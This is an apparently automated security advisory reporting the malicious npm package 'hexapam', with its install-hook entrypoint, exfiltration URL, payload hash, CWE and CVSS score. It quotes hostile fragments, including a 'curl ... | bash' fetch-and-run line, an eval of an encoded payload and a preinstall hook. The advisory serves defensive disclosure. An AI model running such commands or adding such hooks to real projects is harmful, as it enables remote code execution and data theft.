GCVE-110-OSM-2026-4154

Advisory PublishedCVSS 8.8/10

Vulnetix · Advisory published May 12, 2026

[osmalyze-auto] Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution. [osmalyze-auto] Entrypoint: preinstall.js (install-hook: node preinstall.js) Exfil: https://cdn-assets-cache.com/api/v2/sync (custom-c2, recovery: plaintext in preinstall.js) Payload: preinstall.js Key findings: - Install Hook Executes Local JS File in package.json: ""preinstall": "node preinstall.js"" - Dynamic Code Execution in preinstall.js: "eval(encodedPayload)" - Shell Command Execution in preinstall.js: "require('child_process')" - Data Encoding for Exfiltration in preinstall.js: "Buffer.from( suspiciousString ).toString('base64')" - Curl/Wget Pipe to Shell in preinstall.js: "curl https://example.com/payload.sh | bash" IOCs: - urls: https://cdn-assets-cache.com/api/v2/sync - payloadFileHash: 681481b6b10985fd119b659e56db4807038950a809c94afb91d7932264c314c2

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

8.8/10

High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	hexapam	* (affected), all (affected), all (affected), all (affected)	—

References

Malicious npm package: hexapam

advisory

vendor

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